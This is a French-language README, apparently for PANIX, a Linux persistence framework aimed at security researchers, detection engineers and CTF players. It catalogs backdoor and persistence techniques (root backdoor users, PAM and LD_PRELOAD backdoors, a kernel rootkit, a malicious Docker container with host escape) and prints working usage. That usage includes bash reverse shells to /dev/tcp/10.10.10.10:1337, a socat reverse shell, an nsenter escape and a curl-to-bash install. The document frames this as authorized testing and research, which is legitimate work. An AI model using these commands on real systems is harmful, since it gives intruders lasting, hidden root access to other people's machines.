
Outil de persistance Linux personnalisable pour la recherche en sécurité et l'ingénierie de détection.

PANIX est un framework de persistance Linux puissant, modulaire et hautement personnalisable, conçu pour les chercheurs en sécurité, les ingénieurs en détection, les testeurs d'intrusion, les amateurs de CTF, et plus encore. Pensé pour la polyvalence, PANIX met l'accent sur la fonctionnalité, ce qui en fait un outil essentiel pour comprendre et mettre en œuvre un large éventail de techniques de persistance.

PANIX propose une suite polyvalente de fonctionnalités pour simuler et étudier les mécanismes de persistance Linux.
| Fonctionnalité | Description | Root | User |
|---|---|---|---|
| Persistance At Job | Met en œuvre la persistance en ajoutant des entrées aux tâches système. | ✅ | ✅ |
| Clés autorisées | Ajoute une clé publique au fichier authorized_keys pour un accès SSH. | ✅ | ✅ |
| Utilisateur backdoor | Crée un utilisateur backdoor avec UID=0 (privilèges root). | ✅ | ❌ |
| Utilisateur système backdoor | Installe une backdoor sur un utilisateur système (accès SSH à news/nobody). | ✅ | ❌ |
| Fichier /etc/passwd backdooré | Ajoute directement une entrée utilisateur malveillante dans /etc/passwd. | ✅ | ❌ |
| Fichier /etc/init.d backdooré | Établit une persistance via SysVinit (/etc/init.d). | ✅ | ❌ |
| Fichier /etc/rc.local backdooré | Établit une persistance via le contrôle d'exécution (/etc/rc.local). | ✅ | ❌ |
| Bind Shell | Exécute un bind shell pré-compilé/LOLBin pour un accès à distance. | ✅ | ✅ |
| Backdoor par capabilities | Ajoute des capabilities spécifiques à des binaires pour maintenir la persistance. | ✅ | ❌ |
| Persistance par cron job | Configure des cron jobs pour assurer la persistance après les redémarrages. | ✅ | ✅ |
| Créer un utilisateur | Crée un nouveau compte utilisateur sur le système. | ✅ | ❌ |
| Backdoor D-Bus | Crée un service D-Bus pour un accès root par reverse shell. | ✅ | ❌ |
| Rootkit Diamorphine | Installe le rootkit Diamorphine, module noyau chargeable. | ✅ | ❌ |
| Persistance Initramfs | Injecte un utilisateur backdoor UID=0 dans initramfs au redémarrage. | ✅ | ❌ |
| Persistance Git |

PANIX offre un support complet sur différentes distributions Linux.
Les distributions Linux personnalisées ou obsolètes peuvent avoir des configurations différentes ou manquer de fonctionnalités spécifiques, ce qui peut faire échouer les mécanismes sur des versions non testées. Si une commande par défaut échoue, utilisez l'option --custom disponible dans la plupart des fonctionnalités pour adapter les chemins et les commandes à votre environnement. Examinez et modifiez le script en fonction de vos besoins si cela ne résout pas le problème.
Les contributions via pull requests ou issues pour de nouvelles fonctionnalités, des mises à jour ou des idées sont toujours les bienvenues !

Le dépôt PANIX est conçu pour la modularité, la maintenabilité et la facilité d'extension. Chaque mécanisme de persistance comprend des scripts d'installation et de restauration, ce qui simplifie la gestion et la suppression.```plaintext PANIX/ ├── main.sh # Core logic and argument parsing. ├── modules/ # Persistence mechanism scripts. │ ├── common.sh # Shared functions. │ ├── setup_*.sh # Setup scripts. │ └── revert/ # Revert scripts. ├── build.sh # Builds the distributable script. ├── panix.sh # Final distributable script. └── README.md # Documentation.
## Avantages clés
- **Configuration et restauration appariées** : chaque `setup_*.sh` a un `revert_*.sh` correspondant, garantissant une suppression facile des mécanismes de persistance.
- **Conception modulaire** : modifiez facilement les modules existants ou ajoutez-en de nouveaux sans affecter le script principal.
- **Extension simple** : pour ajouter une nouvelle fonctionnalité :
1. Créez un nouveau `setup_*.sh` dans `modules/`.
2. Ajoutez un `revert_*.sh` correspondant dans `modules/revert/`.
3. Mettez à jour `main.sh` pour inclure les nouveaux scripts.
4. Mettez à jour `common.sh` pour inclure le module dans le menu d'aide.
4. Exécutez `build.sh` pour générer le `panix.sh` mis à jour.

# Pour commencer
Démarrer PANIX est aussi simple que de télécharger le script depuis la [page des versions](https://github.com/Aegrah/PANIX/releases/tag/panix-v2.1.0) et de l'exécuter :```
curl -sL https://github.com/Aegrah/PANIX/releases/download/panix-v2.1.0/panix.sh | bash
Ou téléchargez-le et exécutez-le manuellement :```
curl -sL https://github.com/Aegrah/PANIX/releases/download/panix-v2.1.0/panix.sh -o panix.sh wget https://github.com/Aegrah/PANIX/releases/download/panix-v2.1.0/panix.sh -O panix.sh
chmod +x panix.sh ./panix.sh
L'exécution du script affichera soit le menu d'aide `root`, soit le menu d'aide `user`, selon les privilèges dont dispose l'utilisateur actuel.```
panix@panix-demo:~$ sudo ./panix.sh
__
|__) /\ |\ | | \_/
| /~~\ | \| | / \
@RFGroenewoud
Root User Options:
--at At job persistence
--authorized-keys Add public key to authorized keys
--backdoor-user Create backdoor user
--backdoor-system-user Create backdoor system user
--bind-shell Execute backgrounded bind shell
--cap Add capabilities persistence
--create-user Create a new user
--cron Cron job persistence
--dbus D-Bus service persistence
--generator Generator persistence
--git Git hook/pager persistence
--grub GRUB bootloader persistence
--initd SysV Init (init.d) persistence
--initramfs Initramfs persistence
--ld-preload LD_PRELOAD backdoor persistence"
--lkm Loadable Kernel Module (LKM) persistence
--malicious-container Docker container with host escape"
--malicious-package Build and Install a package for persistence (DPKG/RPM)
--motd Message Of The Day (MOTD) persistence (not available on RHEL derivatives)
--network-manager NetworkManager dispatcher script persistence
--package-manager Package Manager persistence (APT/YUM/DNF)
--pam Pluggable Authentication Module (PAM) persistence (backdoored PAM & pam_exec)
--passwd-user Add user to /etc/passwd directly
--password-change Change user password
--polkit Allow pkexec as any user through Polkit
--rc-local Run Control (rc.local) persistence
--reverse-shell Reverse shell persistence (supports multiple LOLBins)"
--rootkit Diamorphine (LKM) rootkit persistence
--shell-profile Shell profile persistence
--ssh-key SSH key persistence
--sudoers Sudoers persistence
--suid SUID persistence
--system-binary System binary persistence
--systemd Systemd service persistence
--udev Udev (driver) persistence
--web-shell Web shell persistence (PHP/Python)
--xdg XDG autostart persistence
--revert Revert changes made by PANIX' default options
--mitre-matrix Display the MITRE ATT&CK Matrix for PANIX
--quiet (-q) Quiet mode (no banner)

Le script devrait être en grande partie auto-explicatif ; toutefois, cette section montrera quelques exemples de la façon de travailler avec PANIX.
Chaque mécanisme de persistance dispose d'un menu d'aide séparé :``` ruben@ubuntu2204:~$ sudo ./panix.sh --udev --help Usage: ./panix.sh --udev [OPTIONS] --examples Display command examples -default Use default udev settings --ip Specify IP address --port Specify port number --sedexp | --at | --cron | --systemd Specify the mechanism to use --custom Use custom udev settings --command Specify custom command --path Specify custom path --help|-h Show this help message
Chaque mécanisme de persistance possède également une option `--examples` qui affiche des exemples par défaut et personnalisés, vous aidant à élaborer la commande qui vous convient.```
ruben@ubuntu2204:~$ ./panix.sh --git --examples
Examples:
--default:
./panix.sh --git --default --ip 10.10.10.10 --port 1337 --hook|--pager
--custom:
./panix.sh --git --custom --command "(nohup setsid /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/1337 0>&1' > /dev/null 2>&1 &) &" --path "gitdir/.git/hooks/pre-commit" --hook
./panix.sh --git --custom --command "nohup setsid /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/1337 0>&1' > /dev/null 2>&1 & ${PAGER:-less}" --path "~/.gitconfig --pager"
La plupart des mécanismes de persistance sont très simples et ne devraient (espérons-le) pas nécessiter beaucoup d'explications. Par exemple, la persistance systemd peut être configurée simplement en exécutant :``` ruben@ubuntu2204:~$ sudo ./panix.sh --systemd --default --ip 10.10.10.10 --port 1337 Service file created successfully! Timer file created successfully! Created symlink /etc/systemd/system/timers.target.wants/dbus-org.freedesktop.resolved.timer → /usr/local/lib/systemd/system/dbus-org.freedesktop.resolved.timer. [+] Systemd service persistence established!
Lors de la mise en place d'un mécanisme de persistance, le script vous indiquera si cela a fonctionné, et dans les cas où des informations sont nécessaires pour travailler avec le mécanisme de persistance, des informations supplémentaires sont fournies. Par exemple, le mécanisme bind shell :```
ruben@ubuntu2204:~$ sudo ./panix.sh --bind-shell --default --architecture x64
[+] Bind shell binary /tmp/bd64 created and executed in the background.
[+] The bind shell is listening on port 9001.
[+] To interact with it from a different system, use: nc -nv <IP> 9001
[+] Bind shell persistence established!
Vous permettant d'interagir avec le bind shell:``` ❯ nc -nv 192.168.211.130 9001 (UNKNOWN) [192.168.211.130] 9001 (?) open whoami root
Il en va de même pour les mécanismes qui disposent de fonctionnalités intégrées supplémentaires, comme le mécanisme de persistance Docker, avec une évasion intégrée de l'hôte root :```
ruben@ubuntu2204:~$ sudo ./panix.sh --malicious-container --ip 192.168.211.131 --port 330
[+] Building 10.4s (9/9) FINISHED docker:default
=> [internal] load build definition from Dockerfile 0.0s
=> => transferring dockerfile: 722B 0.0s
=> [internal] load metadata for docker.io/library/alpine:latest 2.1s
=> [internal] load .dockerignore 0.0s
=> => transferring context: 2B 0.0s
=> [1/5] FROM docker.io/library/alpine:latest@sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c4394e0 0.8s
=> => resolve docker.io/library/alpine:latest@sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c4394e0 0.0s
=> => sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c4394e0 1.85kB / 1.85kB 0.0s
=> => sha256:dabf91b69c191a1a0a1628fd6bdd029c0c4018041c7f052870bb13c5a222ae76 528B / 528B 0.0s
=> => sha256:a606584aa9aa875552092ec9e1d62cb98d486f51f389609914039aabd9414687 1.47kB / 1.47kB 0.0s
=> => sha256:ec99f8b99825a742d50fb3ce173d291378a46ab54b8ef7dd75e5654e2a296e99 3.62MB / 3.62MB 0.4s
=> => extracting sha256:ec99f8b99825a742d50fb3ce173d291378a46ab54b8ef7dd75e5654e2a296e99 0.2s
=> [2/5] RUN apk add --no-cache bash socat sudo util-linux procps 4.4s
=> [3/5] RUN adduser -D lowprivuser 0.6s
=> [4/5] RUN echo '#!/bin/bash' > /usr/local/bin/entrypoint.sh && echo 'while true; do /bin/bash -c "socat exec:\"/bin/bash\",pty,stderr,setsid,sigint,sane tcp:192.168.211.131:330" 0.8s
=> [5/5] RUN echo '#!/bin/bash' > /usr/local/bin/escape.sh && echo 'sudo nsenter -t 1 -m -u -i -n -p -- su -' >> /usr/local/bin/escape.sh && chmod +x /usr/local/bin/escape.sh && ec 0.8s
=> exporting to image 0.6s
=> => exporting layers 0.6s
=> => writing image sha256:b36eb0d13ee1a0c57c3e6a1ee0255ef474986f44d65b177c539b2ffb1d248790 0.0s
=> => naming to docker.io/library/malicious-container 0.0s
86ce6b00e872bb8c21d0dae21e747e830bb70b44ab7946558e563bf7f4b626ef
[+] Persistence through malicious Docker container complete.
[+] To escape the container with root privileges, run '/usr/local/bin/escape.sh'.
Ce qui vous montre exactement comment vous échapper du conteneur, et accéder à l'hôte.``` ❯ nc -nvlp 330 listening on [any] 330 ... connect to [192.168.211.131] from (UNKNOWN) [192.168.211.130] 43400 86ce6b00e872:/$ /usr/local/bin/escape.sh /usr/local/bin/escape.sh root@ubuntu2204:~#
## Mécanisme d'annulation
PANIX peut nettoyer son désordre grâce à la commande `--revert`. Pour les deux modules séparés :```
ruben@ubuntu2204:~$ sudo ./panix.sh --revert rootkit
######################### [+] Reverting rootkit module... #########################
[+] Sending 'kill -63 0' to unload the rootkit module...
[+] Signal sent successfully.
[+] Identifying loaded rootkit kernel modules in /dev/shm/.rk...
[+] Unloading rootkit rkit...
[+] Kernel module 'rkit' unloaded successfully.
[+] Rootkit rkit unloaded successfully.
[+] Removing kernel module files from /dev/shm/.rk...
[+] Removed file: /dev/shm/.rk/restore_rkit.ko
[+] Removed directory: /dev/shm/.rk
[+] Removing downloaded files in /tmp...
[-] Directory not found: /tmp/diamorphine
[-] File not found: /tmp/diamorphine.zip
[+] Removed file: /tmp/diamorphine.tar
[-] Directory not found: /tmp/Diamorphine.git
[+] Reloading kernel modules...
[+] Kernel modules reloaded successfully.
Et pour tous les modules :``` ruben@ubuntu2204:~$ sudo ./panix.sh --revert all
[+] Running full reversion with --revert-all... [+] Reverting all modules...
######################### [+] Reverting revert_at... #########################
Error: 'at' binary is not present. Cannot revert 'at' jobs. [-] Failed to revert revert_at. Exit Code: 1
######################### [+] Reverting revert_authorized_keys... #########################
[-] Backup file /root/.ssh/authorized_keys.bak not found. No changes made. [+] revert_authorized_keys reverted successfully.
######################### [+] Reverting revert_backdoor_user... #########################
[+] No backdoor users found. [+] revert_backdoor_user reverted successfully.
######################### [+] Reverting revert_bind_shell... #########################
[+] Searching for bind shell processes and killing them if present... [+] revert_bind_shell reverted successfully.
[...]
[+] Reversion of all modules complete.
## Matrice MITRE ATT&CK
PANIX dispose d'une matrice MITRE ATT&CK intégrée qui affiche les techniques et sous-techniques disponibles.```
ruben@ubuntu2204:~$ ./panix.sh --mitre-matrix
MITRE ATT&CK Matrix - Persistence Techniques Supported by PANIX
Persistence Method Technique Name Technique ID Sub-technique Name Sub-technique ID URL
------------------- -------------- ------------- ----------------- --------------- ---------------------------------------------
--at Scheduled Task T1053 At T1053.002 https://attack.mitre.org/techniques/T1053/002
--authorized-keys Account Manipulation T1098 SSH Authorized Keys T1098.004 https://attack.mitre.org/techniques/T1098/004
--backdoor-user Create Account T1136 Local Account T1136.001 https://attack.mitre.org/techniques/T1136/001
--backdoor-system-user Account Manipulation T1098 SSH Authorized Keys T1098.004 https://attack.mitre.org/techniques/T1098/004
--bind-shell Command and Scripting Interpreter T1059 Unix Shell T1059.004 https://attack.mitre.org/techniques/T1059/004
--cap Abuse Elevation Control Mechanism T1548 N/A N/A https://attack.mitre.org/techniques/T1548
--create-user Create Account T1136 Local Account T1136.001 https://attack.mitre.org/techniques/T1136/001
--cron Scheduled Task T1053 Cron T1053.003 https://attack.mitre.org/techniques/T1053/003
--dbus Create or Modify System Process T1543 N/A N/A https://attack.mitre.org/techniques/T1543
--generator Create or Modify System Process T1543 Systemd Service T1543.002 https://attack.mitre.org/techniques/T1543/002
--git Event Triggered Execution T1546 N/A N/A https://attack.mitre.org/techniques/T1546
--grub Pre-OS Boot T1542 N/A N/A https://attack.mitre.org/techniques/T1542
--initd Boot or Logon Initialization Scripts T1037 N/A N/A https://attack.mitre.org/techniques/T1037
--initramfs Pre-OS Boot T1542 N/A N/A https://attack.mitre.org/techniques/T1542
--ld-preload Hijack Execution Flow T1574 Dynamic Linker Hijacking T1574.006 https://attack.mitre.org/techniques/T1574/006
--lkm Boot or Logon Autostart Execution T1547 Kernel Modules and Extensions T1547.006 https://attack.mitre.org/techniques/T1547/006
--malicious-container Escape to Host T1610 N/A N/A https://attack.mitre.org/techniques/T1610
--malicious-package Event Triggered Execution T1546 Installer Packages T1546.016 https://attack.mitre.org/techniques/T1546/016
--motd Boot or Logon Initialization Scripts T1037 N/A N/A https://attack.mitre.org/techniques/T1037
--network-manager Event Triggered Execution T1546 N/A N/A https://attack.mitre.org/techniques/T1546
--package-manager Event Triggered Execution T1546 Installer Packages T1546.016 https://attack.mitre.org/techniques/T1546/016
--pam Modify Authentication Process T1556 Pluggable Authentication Modules T1556.003 https://attack.mitre.org/techniques/T1556/003
--passwd-user Account Manipulation T1098 N/A N/A https://attack.mitre.org/techniques/T1098
--password-change Account Manipulation T1098 N/A N/A https://attack.mitre.org/techniques/T1098
--polkit Modify Authentication Process T1556 N/A N/A https://attack.mitre.org/techniques/T1556
--rc-local Boot or Logon Initialization Scripts T1037 RC Scripts T1037.004 https://attack.mitre.org/techniques/T1037/004
--reverse-shell Command and Scripting Interpreter T1059 Unix Shell T1059.004 https://attack.mitre.org/techniques/T1059/004
--rootkit Rootkit T1014 N/A N/A https://attack.mitre.org/techniques/T1014
--shell-profile Event Triggered Execution T1546 Unix Shell Configuration Modification T1546.004 https://attack.mitre.org/techniques/T1546/004
--ssh-key Account Manipulation T1098 SSH Authorized Keys T1098.004 https://attack.mitre.org/techniques/T1098/004
--sudoers Abuse Elevation Control Mechanism T1548 Sudo and Sudo Caching T1548.003 https://attack.mitre.org/techniques/T1548/003
--suid Abuse Elevation Control Mechanism T1548 Setuid and Setgid T1548.001 https://attack.mitre.org/techniques/T1548/001
--system-binary Compromise Host Software Binary T1554 N/A N/A https://attack.mitre.org/techniques/T1554
--systemd Create or Modify System Process T1543 Systemd Service T1543.002 https://attack.mitre.org/techniques/T1543/002
--udev Event Triggered Execution T1546 Udev Rules T1546.017 https://attack.mitre.org/techniques/T1546/017
--web-shell Server Software Component T1505 Web Shell T1505.003 https://attack.mitre.org/techniques/T1505/003
--xdg Boot or Logon Autostart Execution T1547 XDG Autostart Entries T1547.013 https://attack.mitre.org/techniques/T1547/013
Legend:
Technique: High-level MITRE ATT&CK technique.
Sub-Technique: Specific sub-technique under a high-level technique.
N/A: No specific sub-technique defined for this method.
URL: Link to the official MITRE ATT&CK page for further details.

Publications dans lesquelles PANIX est utilisé :
N'hésitez pas à consulter mes réseaux sociaux pour suivre les actualités sur la recherche en sécurité (Linux).

En partageant PANIX, vous pouvez aider d'autres personnes à tester et à améliorer leur posture de sécurité et soutenir le développement de nouvelles capacités de détection dans la sécurité Linux.

PANIX est destiné uniquement à des tests de sécurité autorisés et à des fins de recherche. L'utilisation abusive de cet outil à des fins malveillantes n'est pas tolérée et se fait entièrement aux risques de l'utilisateur. En utilisant PANIX, vous acceptez d'être responsable de vos propres actions. Ne faites simplement pas de bêtises.
| Utilise les hooks ou pagers Git pour persister dans les dépôts Git. |
| ✅ |
| ✅ |
| Persistance Generator | Exploite les generators systemd pour créer des services persistants. | ✅ | ❌ |
| Backdoor GRUB | Manipule GRUB pour exécuter une backdoor au démarrage. | ✅ | ❌ |
| Conteneur malveillant | Déploie un conteneur Docker conçu pour faciliter l'évasion de conteneur. | ✅ | ✅ |
| Paquet malveillant | Installe un paquet DPKG/RPM pour parvenir à une persistance. | ✅ | ❌ |
| NetworkManager | Installe un script dispatcher pour persister lors des actions réseau. | ✅ | ❌ |
| Backdoor LD_PRELOAD | Utilise LD_PRELOAD pour injecter des bibliothèques malveillantes à des fins de persistance. | ✅ | ❌ |
| Backdoor LKM | Charge un module noyau (Loadable Kernel Module) pour maintenir la persistance. | ✅ | ❌ |
| Backdoor MOTD | Modifie le Message du jour (MOTD) pour établir une persistance. | ✅ | ❌ |
| Gestionnaire de paquets | Manipule APT/YUM/DNF pour établir une persistance lors de leur utilisation. | ✅ | ❌ |
| Persistance PAM | Installe une backdoor PAM à l'aide d'un module malveillant ou de pam_exec. | ✅ | ❌ |
| Changement de mot de passe | Modifie les mots de passe des utilisateurs pour sécuriser les comptes backdoor. | ✅ | ❌ |
| Backdoor Polkit | Crée une configuration Polkit backdoor trop permissive. | ✅ | ❌ |
| Reverse Shell | Établit un reverse shell (prenant en charge plusieurs LOLBins). | ✅ | ✅ |
| Persistance par profil shell | Modifie les profils shell pour exécuter des scripts à la connexion de l'utilisateur. | ✅ | ✅ |
| Persistance par clés SSH | Manipule les clés SSH pour maintenir un accès persistant via SSH. | ✅ | ✅ |
| Backdoor Sudoers | Modifie le fichier /etc/sudoers pour accorder des privilèges élevés. | ✅ | ❌ |
| Backdoor SUID | Installe une backdoor sur des binaires en définissant le bit SUID. | ✅ | ❌ |
| Backdoor de binaire système | Enveloppe les binaires système pour y inclure des fonctionnalités de backdoor. | ✅ | ❌ |
| Service systemd | Crée des services systemd qui assurent la persistance au redémarrage. | ✅ | ✅ |
| Persistance Udev | Utilise des pilotes pour persister au niveau de l'interaction matérielle. | ✅ | ❌ |
| Persistance Web Shell | Déploie des serveurs web pour un accès à distance via des interfaces web. | ✅ | ✅ |
| Autostart XDG | Utilise les répertoires d'autostart XDG pour persister à la connexion de l'utilisateur. | ✅ | ✅ |
| Distribution | Support | Version testée |
|---|
| Debian | ✅ | Debian 11 & 12 |
| Ubuntu | ✅ | Ubuntu 22.04 (Diamorphine indisponible) |
| RHEL | ✅ | RHEL 9 (techniques MOTD et Pre-OS Boot indisponibles) |
| CentOS | ✅ | CentOS Stream 9 & 7 (techniques MOTD et Pre-OS Boot indisponibles) |
| Fedora | ✅ | Pas entièrement testé |
| Arch Linux | ✅ | Pas entièrement testé |
| OpenSUSE | ✅ | Pas entièrement testé |